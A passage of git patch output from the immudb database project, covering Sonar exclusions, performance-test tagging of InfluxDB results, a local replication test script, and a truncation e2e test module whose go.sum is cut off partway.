\x02\x14\x03\x14\x00\x08\x00\x08\x00\xa9xUV\x8d}\xce\x0b\x17\x02\x00\x00\x1b\x04\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00index.htmlUT\x05\x00\x01\xaf\xdd\xf4cPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xa9xUV{\x86\x02V\x89p\x00\x00\x99p\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81X\x02\x00\x00mascot.pngUT\x05\x00\x01\xaf\xdd\xf4cPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x82\x00\x00\x00\"s\x00\x00\x00\x00" fs.Register(data) } \ No newline at end of file From 19239bd5d5f6f2ab12871a4d8d8b9f6f12eb73b1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:50:37 +0100 Subject: [PATCH 0253/1062] Marking generated code as not to-analyze --- sonar-project.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sonar-project.properties b/sonar-project.properties index 2886966251..37cb79f9ce 100644 --- a/sonar-project.properties +++ b/sonar-project.properties @@ -5,7 +5,7 @@ sonar.organization=codenotary sonar.sources=. -sonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb* +sonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb*,**/*schemav2.pb*,**/*schemav2_grpc.pb*,**/statik.go sonar.tests=. sonar.test.inclusions=**/*_test.go From 37443cdfb4de282f3241b3c18c18851c6e1f76cd Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 1 Mar 2023 10:16:22 -0300 Subject: [PATCH 0254/1062] chore(test/perf): add runner to results for influxdb Signed-off-by: Marco Sanchotene --- .github/workflows/performance.yml | 2 +- test/performance-test-suite/cmd/perf-test/main.go | 5 +++-- test/performance-test-suite/pkg/runner/influxdb_client.go | 3 ++- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 7c7d58b25a..28a6d2cc9e 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -55,7 +55,7 @@ jobs: id: performance run: | SECONDS=0 - ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN > perf-test-results-with-summaries.txt + ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} > perf-test-results-with-summaries.txt echo "duration=$SECONDS" >> $GITHUB_ENV echo "version=$(cat Makefile | grep '\> $GITHUB_ENV sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json diff --git a/test/performance-test-suite/cmd/perf-test/main.go b/test/performance-test-suite/cmd/perf-test/main.go index 8caee26281..2d32d94a78 100644 --- a/test/performance-test-suite/cmd/perf-test/main.go +++ b/test/performance-test-suite/cmd/perf-test/main.go @@ -36,6 +36,7 @@ func main() { flInfluxDbHost := flag.String("host", "", "url for influxdb") flInfluxToken := flag.String("token", "", "token for influxdb") flInfluxBucket := flag.String("bucket", "immudb-tests-results", "bucket for influxdb") + flInfluxRunner := flag.String("runner", "", "github runner for influxdb") flag.Parse() @@ -60,8 +61,8 @@ func main() { log.Fatal(err) } - if *flInfluxDbHost != "" && *flInfluxToken != "" { - runner.SendResultsToInfluxDb(*flInfluxDbHost, *flInfluxToken, *flInfluxBucket, results) + if *flInfluxDbHost != "" && *flInfluxToken != "" && *flInfluxRunner != "" { + runner.SendResultsToInfluxDb(*flInfluxDbHost, *flInfluxToken, *flInfluxBucket, *flInfluxRunner, results) } } diff --git a/test/performance-test-suite/pkg/runner/influxdb_client.go b/test/performance-test-suite/pkg/runner/influxdb_client.go index eef60f0a11..6e78e27433 100644 --- a/test/performance-test-suite/pkg/runner/influxdb_client.go +++ b/test/performance-test-suite/pkg/runner/influxdb_client.go @@ -6,7 +6,7 @@ import ( influxdb2 "github.com/influxdata/influxdb-client-go/v2" ) -func SendResultsToInfluxDb(host string, token string, bucket string, r *BenchmarkSuiteResult) { +func SendResultsToInfluxDb(host string, token string, bucket string, runner string, r *BenchmarkSuiteResult) { client := influxdb2.NewClient(host, token) writer := client.WriteAPIBlocking("Codenotary", bucket) @@ -14,6 +14,7 @@ func SendResultsToInfluxDb(host string, token string, bucket string, r *Benchmar p := influxdb2.NewPointWithMeasurement("performance"). AddTag("name", b.Name). + AddTag("runner", runner). AddField("duration", b.Duration.Seconds()). AddField("txTotal", b.Results.TxTotal). AddField("kvTotal", b.Results.KvTotal). From 7d0e6f44ecfd7675f7bb33849ab71e24024aecf1 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 1 Mar 2023 10:26:20 -0300 Subject: [PATCH 0255/1062] chore(test/perf): add immudb version to influxdb data Signed-off-by: Marco Sanchotene --- .github/workflows/performance.yml | 4 ++-- test/performance-test-suite/cmd/perf-test/main.go | 5 +++-- test/performance-test-suite/pkg/runner/influxdb_client.go | 3 ++- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 28a6d2cc9e..61531e9c4c 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -54,10 +54,10 @@ jobs: - name: Run performance tests id: performance run: | + echo "version=$(cat Makefile | grep '\> $GITHUB_ENV SECONDS=0 - ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} > perf-test-results-with-summaries.txt + ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} -version $version > perf-test-results-with-summaries.txt echo "duration=$SECONDS" >> $GITHUB_ENV - echo "version=$(cat Makefile | grep '\> $GITHUB_ENV sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json - name: Upload test results uses: actions/upload-artifact@v3 diff --git a/test/performance-test-suite/cmd/perf-test/main.go b/test/performance-test-suite/cmd/perf-test/main.go index 2d32d94a78..f0bd9129f3 100644 --- a/test/performance-test-suite/cmd/perf-test/main.go +++ b/test/performance-test-suite/cmd/perf-test/main.go @@ -37,6 +37,7 @@ func main() { flInfluxToken := flag.String("token", "", "token for influxdb") flInfluxBucket := flag.String("bucket", "immudb-tests-results", "bucket for influxdb") flInfluxRunner := flag.String("runner", "", "github runner for influxdb") + flInfluxVersion := flag.String("version", "", "immudb version for influxdb") flag.Parse() @@ -61,8 +62,8 @@ func main() { log.Fatal(err) } - if *flInfluxDbHost != "" && *flInfluxToken != "" && *flInfluxRunner != "" { - runner.SendResultsToInfluxDb(*flInfluxDbHost, *flInfluxToken, *flInfluxBucket, *flInfluxRunner, results) + if *flInfluxDbHost != "" && *flInfluxToken != "" && *flInfluxRunner != "" && *flInfluxVersion != "" { + runner.SendResultsToInfluxDb(*flInfluxDbHost, *flInfluxToken, *flInfluxBucket, *flInfluxRunner, *flInfluxVersion, results) } } diff --git a/test/performance-test-suite/pkg/runner/influxdb_client.go b/test/performance-test-suite/pkg/runner/influxdb_client.go index 6e78e27433..3fe0ac4056 100644 --- a/test/performance-test-suite/pkg/runner/influxdb_client.go +++ b/test/performance-test-suite/pkg/runner/influxdb_client.go @@ -6,7 +6,7 @@ import ( influxdb2 "github.com/influxdata/influxdb-client-go/v2" ) -func SendResultsToInfluxDb(host string, token string, bucket string, runner string, r *BenchmarkSuiteResult) { +func SendResultsToInfluxDb(host string, token string, bucket string, runner string, version string, r *BenchmarkSuiteResult) { client := influxdb2.NewClient(host, token) writer := client.WriteAPIBlocking("Codenotary", bucket) @@ -15,6 +15,7 @@ func SendResultsToInfluxDb(host string, token string, bucket string, runner stri p := influxdb2.NewPointWithMeasurement("performance"). AddTag("name", b.Name). AddTag("runner", runner). + AddTag("version", version). AddField("duration", b.Duration.Seconds()). AddField("txTotal", b.Results.TxTotal). AddField("kvTotal", b.Results.KvTotal). From 5003b22c48efe6183ea078964fabdf7ecb4699f8 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 1 Mar 2023 17:18:58 -0300 Subject: [PATCH 0256/1062] chore(test/perf): fix version value for flag Signed-off-by: Marco Sanchotene --- .github/workflows/performance.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 61531e9c4c..2eb4f22e66 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -56,7 +56,7 @@ jobs: run: | echo "version=$(cat Makefile | grep '\> $GITHUB_ENV SECONDS=0 - ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} -version $version > perf-test-results-with-summaries.txt + ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} -version $(cat Makefile | grep '\ perf-test-results-with-summaries.txt echo "duration=$SECONDS" >> $GITHUB_ENV sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json - name: Upload test results From 19b24c7c05e10de331f350e256a3c4b8bb9f9f52 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 9 Feb 2023 16:44:40 +0100 Subject: [PATCH 0257/1062] Added tool for replication testing --- test/e2e/replic.sh | 143 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 143 insertions(+) create mode 100755 test/e2e/replic.sh diff --git a/test/e2e/replic.sh b/test/e2e/replic.sh new file mode 100755 index 0000000000..3948a4c39c --- /dev/null +++ b/test/e2e/replic.sh @@ -0,0 +1,143 @@ +#!/bin/sh + +PRIMARY_ADDR=127.71.17.10 +REPLICA_ADDR=127.71.17.11 +STRESS_APPLICATION=../immudb-tools/stresser2/stresser2 +DB=repl +DATADIR=/tmp/immudb +IMMUDB=./immudb +IMMUADMIN=./immuadmin +IMMUCLIENT=./immuclient +SIZE=500 +SYNC_OPTION_PRIMARY=() +SYNC_OPTION_REPLICA=() + + +usage () { +cat </dev/null & +PRIMARY_PID=$! + +while nc -z $PRIMARY_ADDR 3322 +do + echo "Waiting primary" + sleep 1 +done + +$IMMUDB --dir $DATADIR/replica_data -a $REPLICA_ADDR 2>/dev/null & +REPLICA_PID=$! + +while nc -z $PRIMARY_ADDR 3322 +do + echo "Waiting replica" + sleep 1 +done + +echo -n "immudb" | $IMMUADMIN login -a $PRIMARY_ADDR immudb +$IMMUADMIN -a $PRIMARY_ADDR database create $DB ${SYNC_OPTION_PRIMARY[@]} + +echo -n "immudb" | $IMMUADMIN login -a $REPLICA_ADDR immudb +$IMMUADMIN -a $REPLICA_ADDR database create $DB \ + --replication-is-replica \ + --replication-primary-database $DB \ + --replication-primary-host $PRIMARY_ADDR \ + --replication-primary-password immudb \ + --replication-primary-port 3322 \ + --replication-primary-username immudb \ + ${SYNC_OPTION_REPLICA[@]} + +echo "Launching $STRESS_APPLICATION" + +T0=`date +%s` +$STRESS_APPLICATION -addr $PRIMARY_ADDR -write-speed 0 -read-workers 0 -write-batchnum $SIZE -write-workers 10 -db $DB -batchsize 100 +T1=`date +%s` + +txid() { +ADDR=$1 +$IMMUCLIENT login -a $ADDR --username immudb --password immudb > /dev/null 2>/dev/null +$IMMUCLIENT status -a $ADDR --username immudb --password immudb --database repl | awk '/^txID/{print $2}' +} + +TX1=$(txid $PRIMARY_ADDR) +TX2=$(txid $REPLICA_ADDR) +echo "Replication in progress ($TX1 / $TX2)" +while [ "$TX1" != "$TX2" ] +do +echo "waiting replica ($TX1 / $TX2)" +sleep 0.5 +TX2=$(txid $REPLICA_ADDR) +done + +T2=`date +%s` + +kill $PRIMARY_PID +kill $REPLICA_PID + +echo "Elapsed: $((T2-T0)) seconds, $((T1-T0)) for inserting, $((T2-T1)) for sync" + +## SYNC, real disks, size 500 batchsize 1000 +## master: 771s +## v1.4.1: 824s + +## ASYNC, real disks, size 500 batchsize 1000 +## master: Elapsed: 423 seconds, 150 for inserting, 273 for sync +## v1.4.1 Elapsed: 439 seconds, 145 for inserting, 294 for sync + +## ASYNC, real disks, size 1000 batchsize 100 +## master Elapsed: 78 seconds, 70 for inserting, 8 for sync From 0727ea1f3ecb527378b4b4c2a2a442ed0d21720b Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 9 Feb 2023 17:37:40 +0100 Subject: [PATCH 0258/1062] Removed stats --- test/e2e/replic.sh | 9 --------- 1 file changed, 9 deletions(-) diff --git a/test/e2e/replic.sh b/test/e2e/replic.sh index 3948a4c39c..376a224f5f 100755 --- a/test/e2e/replic.sh +++ b/test/e2e/replic.sh @@ -131,13 +131,4 @@ kill $REPLICA_PID echo "Elapsed: $((T2-T0)) seconds, $((T1-T0)) for inserting, $((T2-T1)) for sync" -## SYNC, real disks, size 500 batchsize 1000 -## master: 771s -## v1.4.1: 824s -## ASYNC, real disks, size 500 batchsize 1000 -## master: Elapsed: 423 seconds, 150 for inserting, 273 for sync -## v1.4.1 Elapsed: 439 seconds, 145 for inserting, 294 for sync - -## ASYNC, real disks, size 1000 batchsize 100 -## master Elapsed: 78 seconds, 70 for inserting, 8 for sync From da21db9a20606ea3bb91eb70fdb22fd8043737d9 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 10 Feb 2023 14:55:02 +0100 Subject: [PATCH 0259/1062] Added truncator e2e test --- test/e2e/{ => replication}/replic.sh | 0 test/e2e/truncation/.gitignore | 1 + test/e2e/truncation/go.mod | 52 ++ test/e2e/truncation/go.sum | 1207 ++++++++++++++++++++++++++ test/e2e/truncation/main.go | 135 +++ 5 files changed, 1395 insertions(+) rename test/e2e/{ => replication}/replic.sh (100%) create mode 100644 test/e2e/truncation/.gitignore create mode 100644 test/e2e/truncation/go.mod create mode 100644 test/e2e/truncation/go.sum create mode 100644 test/e2e/truncation/main.go diff --git a/test/e2e/replic.sh b/test/e2e/replication/replic.sh similarity index 100% rename from test/e2e/replic.sh rename to test/e2e/replication/replic.sh diff --git a/test/e2e/truncation/.gitignore b/test/e2e/truncation/.gitignore new file mode 100644 index 0000000000..d0117bdc88 --- /dev/null +++ b/test/e2e/truncation/.gitignore @@ -0,0 +1 @@ +truncation diff --git a/test/e2e/truncation/go.mod b/test/e2e/truncation/go.mod new file mode 100644 index 0000000000..53acd118e5 --- /dev/null +++ b/test/e2e/truncation/go.mod @@ -0,0 +1,52 @@ +module github.com/codenotary/immudb/test/e2e/truncation + +go 1.20 + +require github.com/codenotary/immudb v1.4.1 + +require ( + github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect + github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect + github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/fsnotify/fsnotify v1.5.4 // indirect + github.com/golang/protobuf v1.5.2 // indirect + github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect + github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.0.0 // indirect + github.com/magiconair/properties v1.8.6 // indirect + github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/o1egl/paseto v1.0.0 // indirect + github.com/pelletier/go-toml v1.9.5 // indirect + github.com/pelletier/go-toml/v2 v2.0.1 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/prometheus/client_golang v1.12.2 // indirect + github.com/prometheus/client_model v0.2.0 // indirect + github.com/prometheus/common v0.32.1 // indirect + github.com/prometheus/procfs v0.7.3 // indirect + github.com/rogpeppe/go-internal v1.8.0 // indirect + github.com/rs/xid v1.3.0 // indirect + github.com/spf13/afero v1.8.2 // indirect + github.com/spf13/cast v1.5.0 // indirect + github.com/spf13/cobra v1.2.1 // indirect + github.com/spf13/jwalterweatherman v1.1.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/spf13/viper v1.12.0 // indirect + github.com/subosito/gotenv v1.3.0 // indirect + golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect + golang.org/x/net v0.0.0-20220708220712-1185a9018129 // indirect + golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d // indirect + golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect + golang.org/x/text v0.3.7 // indirect + google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect + google.golang.org/grpc v1.46.2 // indirect + google.golang.org/protobuf v1.28.0 // indirect + gopkg.in/ini.v1 v1.66.6 // indirect + gopkg.in/yaml.v2 v2.4.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) + +replace github.com/codenotary/immudb => ../../.. diff --git a/test/e2e/truncation/go.sum b/test/e2e/truncation/go.sum new file mode 100644 index 0000000000..48b46426f5 --- /dev/null +++ b/test/e2e/truncation/go.sum @@ -0,0 +1,1207 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= +cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= +cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= +cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= +cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= +cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= +cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= +cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= +cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= +cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= +cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= +cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= +cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= +cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= +cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= +cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= +cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= +cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= +cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= +cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= +cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= +cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= +cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= +cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= +cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= +cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= +cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= +cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= +cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= +cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= +cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= +cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s= +cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= +cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= +cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= +cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= +cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= +cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= +cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= +cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= +cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= +cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= +cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= +cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= +github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= +github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= +github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= +github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= +github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= +github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= +github.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY= +github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk= +github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= +github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= +github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= +github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= +github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= +github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= +github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= +github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod 